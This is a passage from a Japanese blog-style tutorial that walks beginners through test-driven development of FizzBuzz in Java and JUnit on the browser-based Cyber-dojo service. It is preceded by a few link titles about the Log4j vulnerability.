脆弱なlog4jへの依存を1コマンドで把握する CVE-2021-44228 Detail(公式のインシデント紹介記事) 更新:Apache Log4j の脆弱性対策について(CVE-2021-44228)(IPAの公式サイト) 用語解説: ゼロデイ(0-day)脆弱性 ペイロード 【payload】 オープンソースのログ管理/Apache log4jとは CVEとは log4jとは
- 投稿日:2022-02-28T12:47:39+09:00
初めてのテスト駆動開発!ブラウザだけで実践入門!
はじめに ※本記事は t-wadaさん もしくは TDD Boot Campさん に怒られたら消します。(雀の涙程度のオリジナリティ1はあるものの、コンテンツ自体はt-wadaさんの発表に全乗っかりしてるので・・・) 正直、こんな記事を読むよりも、t-wadaさんが翻訳した書籍買って、t-wadaさんが発表してる動画を見た方がよっぽど良いと思います。 特に書籍では、TDDを超えてBDDなどの話も綺麗にまとまっている付録が読めるので、強くお勧めします。みんなも買おう! 本記事では書籍の内容には触れませんが、この記事よりもかなり実践的な事例が載っているので、実務開発を考えると読むことをお勧めします。 主催のTDD Boot Campさんは、ここ一年くらいは活動されてなさそうですが、一応コミュニティのリンク貼っておきますね。 記事について 本記事は、t-wadaさんの「TDD Boot Camp 2020 Online #1 基調講演/ライブコーディング」で行われていたライブコーディングを、ブラウザだけで実践してみる記事です。 大きくは以下の流れで進んでいきます。 TDDについて概説(ざっくり座学) Cyber-dojo(ブラウザでTDDが実践できるWEBサイト)で「FizzBuzz」をTDDしてみる。(記事の9割がここ) おさらい 細かい流れは目次見てくれればいいっす。え、スマホは目次が無いって? TDDの実践を目的とした記事なので、ぜひPCで見てほしい。 スマホ派は、とりあえず「総まとめ」だけ読んでもらって、良きタイミングでPCで見直していただけると嬉しいです。 注意事項 「Javaは知ってるけど、TDDはよく知らない」って人が「TDDを習得すること」を目的に、記事を作成しております。 TDDは知らなくても大丈夫です。 Javaは、特にコアな話は出てこないので、ちょっとでもコードが読めれば大丈夫だと思います。 初心者向けタグはつけましたが、流石にプログラミング未経験者がわかるレベルにはなってないです。読み始めて分からないと感じたら、またのご来訪をお待ちしております。 「TDDってやったことあるけど、やりづらくて、俺には合わなかったんだよねー」って人もぜひ見てってほしい。 スキルがある方は、特に「Green」→「Refactor」とステップを分けることにストレスを感じると思います。 TDDって実は、開発者のスキルに応じたテクニックが用意されていて、スキルフルな方向けに「明白な実装」というテクニックがあります。 今回は「4つ目のサイクル」で実践してますが、いきなり読んでも文脈わからんと思うので、ぜひ手を動かしながら身につけていただければと思います。 スクロールバーを見てください。長いよ。(動画見るだけでも2時間かかるやつだからね) とにかく結論だけ簡潔に教えろって人は「総まとめ」を見てくれれば良いです。 ただ、手を動かしてもらうことを目的に記事作ったので、できれば頭から読んで手を動かしてもらえると嬉しい。 スマホな方は、とりあえず「総まとめ」だけ読んでもらって、良きタイミングでPCで見直していただけると嬉しいです。 お願い事項 「テスト駆動開発」は兎にも角にも「手に馴染ませる」ことが重要だと思います。 慣れないうちは少しやりづらさも感じるテクニックですが、TDDのやり方を習得すると、今まで以上に効率よく開発できるようになると思います。 だからこそ、誰でも簡単に「手を動かす」ことを試せる「ブラウザだけでできる」ということにフォーカスして記事を作成しました。 ということで、「ぜひこの記事を見ながら手を動かしてもらいたい!」というのがお願い事項になります。 TDD概説:t-wadaさんスライドをベースに t-wadaさんの動画をすでにみたなら飛ばしていいところです。 スライドもそのまま使わせてもらうスタイル。 補足説明は自分の言葉で説明しちゃってます。 (t-wadaさんの説明が聞きたい人は、冒頭のリンクからyoutubeアーカイブに行っていただければ・・・) 2つの道 上の道:最初に「綺麗にする」、次に「動作させる」 下の道:最初に「動作させる」、次に「綺麗にする」 TDDでは「下の道」を選ぶアプローチ。 「動作する」を乗り越えるのが本当に大変。 どんなに事前に綺麗に設計したつもりでも、動作しないことはありうる。 だから下の道の方が筋が良さそう。 というのがTDDの考え方。 まずは何を実装しようとしているのか、todoリストに落とし込む。 todoリストができたら、そのうち1つを選んで、上記スライドの通り対応していく。 ここら辺の手順は実践の中でもう少し丁寧に説明します。 TDDを実践する前準備 TODOリストを作成する 今回のお題はFizzBuzz問題を使います。 プログラミングでよく使われる簡単な練習問題です。 お題 1から100までの数をプリントするプログラムを書け。 ただし3の倍数の時は数の代わりに「Fizz」と、5の倍数の時は「Buzz」とプリントすること。 3と5両方の倍数の場合には「FizzBuzz」とプリントすること。 これを紐解いてTODOにするのにはスキルが必要ですが、この記事ではそこはフォーカスしません。(「ブラウザだけで実践したらどうなるのか?」にフォーカスしたいので) TODOの作り方が知りたい人は、t-wadaさんの動画みてください。 ※かなり重要なポイントなので、ぜひ見ましょう。(以下リンクはちょうどその説明が始まるあたりです。) 今回のTODOリストを作ってる様子(0:44:10〜0:56:02)↓ TODOリストのスキルを上げる方法について語っている部分(1:38:51〜1:39:21)↓ 以下、結果です。(ました工法) todoリスト テスト容易性:高 重要度:高 - [ ] 数を文字列に変換する - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする Cyber-dojo準備 実際に手を動かしながらできるように、ちょっとしたサービスを使います。 Cyber-dojoという、自分のPC上に環境を作らなくても、WEBブラウザだけでTDDを実践できるWEBサービスを使います。 ローカルでIDEを使って開発するのに比べたら不便もありますが、ブラウザだけで開発できるのは非常に魅力的です。 環境準備はすごく簡単です。3〜4クリックで作れちゃいます。ありがたい限りです。 「create a new practice」のボタンを押下し、以下条件で作成します。 exercise: Fizz Buzz language & test-framework: Java 17, jUnit practice type: solo 確認画面が出るので、「OK」を押したら以下のような画面が表示されるはずです。 画面全体 この画面をブックマークしておきましょう。間違ってブラウザを閉じても途中状態が保存されているので、ブックマークから戻れば元通りです。 (通信状態や操作内容によっては、多少の手戻りはあるかもしれませんので、悪しからず。) ちなみに、Cyber-dojoは商用利用の場合はライセンス料を支払う必要があります。 非商用利用(個人での学習目的など)であれば不要ですが、寄付は募っているようです。 素晴らしい環境ですので、余裕のある方は寄付をお願いします。 最初のTDDサイクルを回す テストクラス・テスト対象クラスを作ったりとか色々やらないといけないステップです。 IDEの機能を使うと簡単に実装できる部分が多いのですが、Cyber-dojoではサポートされてないものが多いです。 この記事ではCyber-dojo環境に適した形での「最初のTDDサイクル」を考えてみます。 なお、TDDサイクルは以下の手順で進みます。 TODOを選ぶ todoリスト テスト容易性:高 重要度:高 - [ ] 数を文字列に変換する - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする 今回は一番上のやつを選びましょう todoリスト - [ ] 数を文字列に変換する Red:初めてのレッド 一番最初にやるべきこと 最初は何もありません。テスト対象もテストコードもありません。 ということで、テストクラスを作るところから始めていきましょう。 テストクラスを作成する IDEなら半自動で作ってくれるのですが、Cyber-dojoでは手動で作る必要があります。 IDEでの動きはt-wadaさんの動画でご確認ください。(0:57:21〜1:01:10) 今回はCyber-dojoでの実施ですので、すでに存在するHikerTestくんを修正する形で、全手動で作りましょう。 HikerTest.java(修正前) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class HikerTest { @Test void life_the_universe_and_everything() { int expected = 42; int actual = Hiker.answer(); assertEquals(expected, actual); } } 今回作成するのはFizzBuzz機能。それをテストするクラスなので、クラス名としてはFizzBuzzTestあたりが妥当でしょうか。 書き直してみます。 HikerTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) -public class HikerTest { +public class FizzBuzzTest { @Test void life_the_universe_and_everything() { int expected = 42; int actual = Hiker.answer(); assertEquals(expected, actual); } } Javaではファイル名と不一致だとエラーになってしまうので、ファイル名も直しましょう。 Cyber-dojoではファイルを選択した上で、以下のボタンを押下すると名前を変えられます。 無事リネームできたら以下のようになります。 FizzBuzzTest.java(ひとまずのゴール) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void life_the_universe_and_everything() { int expected = 42; int actual = Hiker.answer(); assertEquals(expected, actual); } } コンパイルエラーが無いか確認してみましょう。 テスト実行は左上にある「test」ボタンです。 結果はこんな感じになるはずです。 output :stdout: . +-- JUnit Jupiter [OK] | '-- HikerTest [OK] | '-- life the universe and everything [X] expected: <42> but was: <54> '-- JUnit Vintage [OK] Failures (1): JUnit Jupiter:HikerTest:life the universe and everything MethodSource [className = 'HikerTest', methodName = 'life_the_universe_and_everything', methodParameterTypes = ''] => org.opentest4j.AssertionFailedError: expected: <42> but was: <54> org.junit.jupiter.api.AssertionUtils.fail(AssertionUtils.java:55) org.junit.jupiter.api.AssertionUtils.failNotEqual(AssertionUtils.java:62) org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:150) org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:145) org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:527) HikerTest.life_the_universe_and_everything(HikerTest.java:15) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.base/java.lang.reflect.Method.invoke(Method.java:568) [...] Test run finished after 134 ms [ 3 containers found ] [ 0 containers skipped ] [ 3 containers started ] [ 0 containers aborted ] [ 3 containers successful ] [ 0 containers failed ] [ 1 tests found ] [ 0 tests skipped ] [ 1 tests started ] [ 0 tests aborted ] [ 0 tests successful ] [ 1 tests failed ] :stderr: :status: 1 ひとまず、outputの上の方に以下が表示されていれば問題ないです。以下が表示されていない場合は、どこか間違えています。 エラーメッセージを確認して修正しましょう。 output(ここら辺があってればひとまず大丈夫) +-- JUnit Jupiter [OK] | '-- HikerTest [OK] | '-- life the universe and everything [X] expected: <42> but was: <54> '-- JUnit Vintage [OK] jUnitの稼働確認 開発環境が出来上がって一番最初にやることは、テストツールの稼働確認です。 テストツールが正しく動いていることが保証されなければ、テスト結果が正しいと保証できません。 このスタートラインに立てていることを確認していないと、余計なことを調査することになり、不必要に時間がかかります。 非常に重要なステップです。 さっきjUnit動かしたじゃないか!と言う話はあるんですが・・・ デフォルトで用意されているテストメソッドは自分が書いたコードではないので、出力結果が期待通りなのか自信が持てません。 なので、自分でテストメソッドを書きます。 jUnit稼働確認のテストは「必ず失敗する」テストを書きます。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test - void life_the_universe_and_everything() { - int expected = 42; - int actual = Hiker.answer(); - assertEquals(expected, actual); - } + void test() { + fail("失敗するはず"); + } } FizzBuzzTest.java(ひとまずのゴール) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void test() { fail("失敗するはず"); } } このコードは以下を期待して書かれたコードになります。 テストが動く テスト結果は失敗 "失敗するはず"と表示される 実際に動かしてみましょう。 テスト実行は左上にある「test」ボタンです。 結果はこんな感じになるはずです。 output(テスト実行後) :stdout: . +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- test [X] 失敗するはず '-- JUnit Vintage [OK] Failures (1): JUnit Jupiter:FizzBuzzTest:test MethodSource [className = 'FizzBuzzTest', methodName = 'test', methodParameterTypes = ''] => org.opentest4j.AssertionFailedError: 失敗するはず org.junit.jupiter.api.AssertionUtils.fail(AssertionUtils.java:39) org.junit.jupiter.api.Assertions.fail(Assertions.java:134) FizzBuzzTest.test(FizzBuzzTest.java:13) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.base/java.lang.reflect.Method.invoke(Method.java:568) org.junit.platform.commons.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:725) org.junit.jupiter.engine.execution.MethodInvocation.proceed(MethodInvocation.java:60) org.junit.jupiter.engine.execution.InvocationInterceptorChain$ValidatingInvocation.proceed(InvocationInterceptorChain.java:131) [...] Test run finished after 118 ms [ 3 containers found ] [ 0 containers skipped ] [ 3 containers started ] [ 0 containers aborted ] [ 3 containers successful ] [ 0 containers failed ] [ 1 tests found ] [ 0 tests skipped ] [ 1 tests started ] [ 0 tests aborted ] [ 0 tests successful ] [ 1 tests failed ] :stderr: :status: 1 期待と比較しましょう。 テストが動く:○ テスト結果は失敗:○ "失敗するはず"と表示される:○ 大成功です!!! ポイント 開発環境が作れたら一番最初にやるのは「テストツール」の稼働確認 稼働確認が取れていない場合で、テストツール起因の失敗を引いてしまった場合、開発着手に大幅な遅延が生じてしまう。 そういった大幅な遅延を避けるための重要なステップ。 稼働確認では「期待通り失敗すること」を確認する 期待通りというのは fail("メッセージ") を使うことで簡単に確認できる 個人的な疑問に対する、個人的な理解 Q: なぜ失敗させるの?成功でも良いんじゃない?そっちのが気分いいじゃん。 A: 一度にいろんなことが確認できるので、fail()を使っている。 成功を確認しようとした場合 そもそもfail()の反対になるようなメソッドがない。(success()みたいなのは無い) 成功させるにはassertを書く必要があるが、assertを書くほどコストをかける意味が無い。 fail()の良いところ メッセージ出力を確認できるため、自分の実装したコードが動いたことを間違いなく確認できる。 気分の問題 これはもう「失敗に慣れるしかない」と思う。 「失敗」って表現は悪いように聞こえるかもしれないけど、「失敗することが分かった」という捉え方に変えていくのが良さそう。 そういうスタンスに立って着実に前に進んでいくのがTDDだと思う。 TODOに着手する さてTODOを選んだ直後に、TODOから離れたことをやってしまいました。 ここから本格的にTODOに着手しますので、思い出しましょう。 todoリスト - [ ] 数を文字列に変換する テストメソッドの名前を決定する 今回はtodoをそのままメソッド名としましょうか。 todoリスト - [ ] 数を文字列に変換する t-wadaさんはテストメソッド名は日本語で書くことを推奨しています。 日本人メンバーだけで開発する状況であれば、こちらの方が可読性が高いからです。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test - void test() { - fail("失敗するはず"); - } + void 数を文字列に変換する() { + } } テストは下から書く テストの中身を実装していきましょう。 テストは基本的には以下のような構造で実行されます。 各タイミングで何をするかをテストコードに記載する必要があります。 準備 実行 検証 TDDでは下から書いていきます。「検証」から書いていきます。 こうすることで、無駄なく実装することができます。 検証の実装:期待値を書く 検証はassertEquals(expected, actual);を使うので、以下のように書きます。 ※残念ながらCyber-dojoではサジェスト機能がありません。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void 数を文字列に変換する() { + //準備 + //実行 + //検証 + assertEquals(expected, actual); } } ここで問題が生じます。 「数を文字列に変換する」ために何と何を比較すれば、できたことになるのでしょうか? 実はこの「数を文字列に変換する」では具体性がまだ足りなかったことに気づきます。 机上の設計だけでは、ついこういったことが起こりがちです。 それを実装しながら、具体的に確かめながら進んでいけるのが、TDDの良いところです。 もっと具体的な内容でTODOを考え直しましょう。 todoリスト - [ ] 数を文字列に変換する - [ ] 1を渡すと文字列"1"を返す このtodoなら、期待値を実装するのは迷わないでしょう。 assertEquals(expected, actual);をassertEquals("1", actual);に書き換えましょう。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 //実行 //検証 - assertEquals(expected, actual); + assertEquals("1", actual); } } 実行の実装→準備の実装 これから実装することを頭に思い浮かべます。 きっとこんな感じでしょう。 「テスト対象」にある「何かしらのメソッド」に「数値1」を渡すと「文字列1」が返ってくる。 これをひとまずそのまま書いてみます。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 //実行 + String actual = テスト対象.何かしらのメソッド(1); //検証 assertEquals("1", actual); } } ちょっとそのまま過ぎますが、まずはアウトプットするのが大事です。 ただこの命名はいただけません。考え直していきましょう。 「テスト対象」は、FizzBuzz機能を実装するクラスなので、「FizzBuzz」とか良いんじゃ無いでしょうか? 「何かしらのメソッド」は、数値を文字列に変換するメソッドなので、「convert()」とかどうでしょうか? ※命名は使う人にとってわかりやすい命名にしましょう。これがベストと言っているわけじゃ無いです。 ということで、そのまま置き換えてみましょう。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 //実行 - String actual = テスト対象.何かしらのメソッド(1); + String actual = FizzBuzz.convert(1); //検証 assertEquals("1", actual); } } おっと、Javaはインスタンス化して使うのが基本でしたね。書き直しましょう。 FizzBuzzTest.java(差分) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 + FizzBuzz fizzbuzz = new FizzBuzz(); //実行 - String actual = FizzBuzz.convert(1); + String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } ひとまずテストコード側の準備はできましたが、このままでは実行できません。 存在しないクラスを対象にしているため、コンパイルエラーが発生しています。 この次はコンパイルエラーを解消していきます。 FizzBuzzTest.java(現時点のゴール) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } 下から書くことの効能 記事作成者の個人的な体験をベースにした追記です。 この「テストを下から書く」と言うテクニックはペアプロ・モブプロの時に本当に強力な効果を発揮します。 ペアはまだマシですが、モブやってる最中、スキルが低い立場になると、まじで何やってるかわかんない時が出ちゃいます。 正確には「なんとなくわかった気になっちゃってる」とでも言えばいいでしょうか。 でも、この下から書くやり方だと、「何を目的に今実装を行なっているのか」が非常に明確になるので、そういう半分離脱してしまうような状況を防ぐことができます。 ペアやモブをやるからには、参加者にはスキルを身につけてほしいし、参加者のノウハウをコードに全部入れたい。 全員が前のめりで参加できる仕組みを整えてくれるTDDの効能は本当に大きなものがあります。 コンパイルエラーを解消させる さて、実際のコードに戻りましょう。現在はコンパイルエラーが発生していましたね。 一般的なIDEであれば自動作成の機能があるので、エラーのサジェストから簡単に作れます。 これもテストコードから書く利点です。あれこれ手動で作成する必要がありません。 IDEができることはIDEに任せればいいのです。 ただ、Cyber-dojoにそんな便利な機能はありません。 IDEでの動きは、t-wadaさんの動画で見てみましょう(1:14:11〜1:17:41)↓ 戻ってきまして、ここはCyber-dojoです。Cyber-dojoらしく、手動でやっていきましょう。 HikerTest.javaをFizzBuzzTest.javaに変更したように、Hiker.javaをFizzBuzz.javaに変えていきましょう。 実際はIDEが自動でやってくれる部分なので、解説は省略して、ました工法でいきます。 Hiker.java(ビフォー) public class Hiker { public static int answer() { return 6 * 9; } } FizzBuzz.java(アフター) public class FizzBuzz { public String convert(int i) { return null; } } ファイル名も忘れずに変更します。 こうなっていればOKです。 Cyber-dojoではコンパイルエラーが無くなったかどうかは、動かしてみないとわかりません。 なので、ひとまず動かしてみましょう。 (実際の場面でも、コンパイルエラーが無くなった段階で、一度テスト実行します。) テスト実行は左上にある「test」ボタンです。 ボタンの説明はもういいですね。今後割愛します。 output :stdout: . +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 数を文字列に変換する [X] expected: <1> but was: <null> '-- JUnit Vintage [OK] Failures (1): JUnit Jupiter:FizzBuzzTest:数を文字列に変換する MethodSource [className = 'FizzBuzzTest', methodName = '数を文字列に変換する', methodParameterTypes = ''] => org.opentest4j.AssertionFailedError: expected: <1> but was: <null> org.junit.jupiter.api.AssertionUtils.fail(AssertionUtils.java:55) org.junit.jupiter.api.AssertionUtils.failNotEqual(AssertionUtils.java:62) org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:182) org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:177) org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:1141) FizzBuzzTest.数を文字列に変換する(FizzBuzzTest.java:18) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.base/java.lang.reflect.Method.invoke(Method.java:568) [...] Test run finished after 157 ms [ 3 containers found ] [ 0 containers skipped ] [ 3 containers started ] [ 0 containers aborted ] [ 3 containers successful ] [ 0 containers failed ] [ 1 tests found ] [ 0 tests skipped ] [ 1 tests started ] [ 0 tests aborted ] [ 0 tests successful ] [ 1 tests failed ] :stderr: :status: 1 ひとまず序盤に記載されている以下が確認できればいいでしょう。 output(抜粋) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 数を文字列に変換する [X] expected: <1> but was: <null> '-- JUnit Vintage [OK] 「1を期待したのに、nullが返ってきたよ!」 ということで、予定通りコンパイルエラーは無くなり、想定した通りのエラーが返ってきています。 順調に進んでいます! Green:最初のグリーンと「仮実装」 ここまでで1〜3が終わった状態です。今から4〜5をやっていきます。 このグリーンは「最短」で実現させます。どういう意味かこれから説明します。 現時点のテストコードは以下な感じです。 FizzBuzzTest.java(現時点の状態) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } actualに"1"が入ればグリーンになりますね。 ということで、テスト対象のコードを以下に修正します。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int i) { - return null; + return "1"; } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int i) { return "1"; } } さぁテストを実行しましょう。 output :stdout: . +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 1を渡すと文字列1を返す [OK] '-- JUnit Vintage [OK] Test run finished after 154 ms [ 3 containers found ] [ 0 containers skipped ] [ 3 containers started ] [ 0 containers aborted ] [ 3 containers successful ] [ 0 containers failed ] [ 1 tests found ] [ 0 tests skipped ] [ 1 tests started ] [ 0 tests aborted ] [ 1 tests successful ] [ 0 tests failed ] :stderr: :status: 0 おめでとうございます!成功です! ちなみに、成功かどうかは以下全てが[OK]となっていることで確認できます。 (outputも冗長に感じるので、今後は以下のような省略版で記載するようにします。) output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 1を渡すと文字列1を返す [OK] '-- JUnit Vintage [OK] return "1";なんて、ひどい茶番に見えると思いますので、少し解説を入れます。 「仮実装」 もし、今回のテストが失敗していたとしたら、バグが潜んでいるのはどちらでしょうか? テスト対象?それともテストコード? FizzBuzz.java(テスト対象) public class FizzBuzz { public String convert(int i) { return "1"; } } FizzBuzzTest.java(テストコード) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } 「テスト対象」はreturn "1";しか書かれていません。ここにバグが混入するとしたら、Javaの内部処理を疑うことになるでしょう。 ここまでシンプルなコードだと、Javaの内部処理が間違ってるとも思い難いです。 となると、「テストコード」にバグが混入しているのでしょう。 我々はテスト対象の正しさを確かめるためにテストコードを書きます。でもテストコードが正しいことは、誰が保証してくれるのでしょうか? 「テストコードのテストコード」を書きますか?じゃぁその「テストコードのテストコードの正しさは・・・」(以降エンドレス) この一見馬鹿馬鹿しいやり方は「テストコードの正しさ」を検証するやり方なのです。 このテクニックをTDDでは「仮実装」と呼びます。 この「仮実装」は毎回行うテクニックではありません。 後で紹介しますが、「三角測量」や「明白な実装」といった別のテクニックもありますので、それらを理解した上で、必要に応じて使い分けていきましょう。 「Defect Insertion」 おまけでさらにもう一つのテクニックです。「Defect Insertion」と呼ばれる、あえて誤りを混入させることで、期待通りに動いていることを確認するテクニックです。 今回のコードで「Defect Insertion」を行うなら、以下のようにコードを変更しましょう。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int i) { - return "1"; + return "0"; } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int i) { return "0"; } } ここでテスト実行すると以下のようになります。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 1を渡すと文字列1を返す [X] expected: <1> but was: <0> '-- JUnit Vintage [OK] ここまでやっておけば、テストコードがどのように動くかを確実に確認できたと言えるでしょう。 確認ができたので、グリーンになるようにコードを戻しましょう。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int i) { - return "0"; + return "1"; } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int i) { return "1"; } } テスト実行も忘れずにやりましょう。確認が大事です。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 1を渡すと文字列1を返す [OK] '-- JUnit Vintage [OK] Refactor STEPの6に入っていきます。 FizzBuzz.java(現時点の状態) public class FizzBuzz { public String convert(int i) { return "1"; } } テスト対象コードはシンプルすぎてリファクタリングするところが無いですね。 FizzBuzzTest.java(現時点の状態) // A simple example to get you started // JUnit assertion - the default Java assertion library // https://junit.org/junit5/ import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } テストコードは色々気になります。まずは冒頭のコメントが邪魔なので消しますか。 FizzBuzzTest.java(差分) -// A simple example to get you started -// JUnit assertion - the default Java assertion library -// https://junit.org/junit5/ - import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 String actual = fizzbuzz.convert(1); //検証 assertEquals("1", actual); } } String actual = fizzbuzz.convert(1);と一度変数に入れてますが、ちょっと冗長に感じますね。 assertEquals("1", fizzbuzz.convert(1));って書いちゃえば良さそうです。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行 - String actual = fizzbuzz.convert(1); //検証 - assertEquals("1", actual); + assertEquals("1", fizzbuzz.convert(1)); } } コメントに違和感が出てくるので、そこも修正しましょう。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); - //実行 - //検証 + //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } } ここまで修正すると、以下な感じになります。少しスッキリしましたね。 FizzBuzzTest.java(現時点のゴール) import 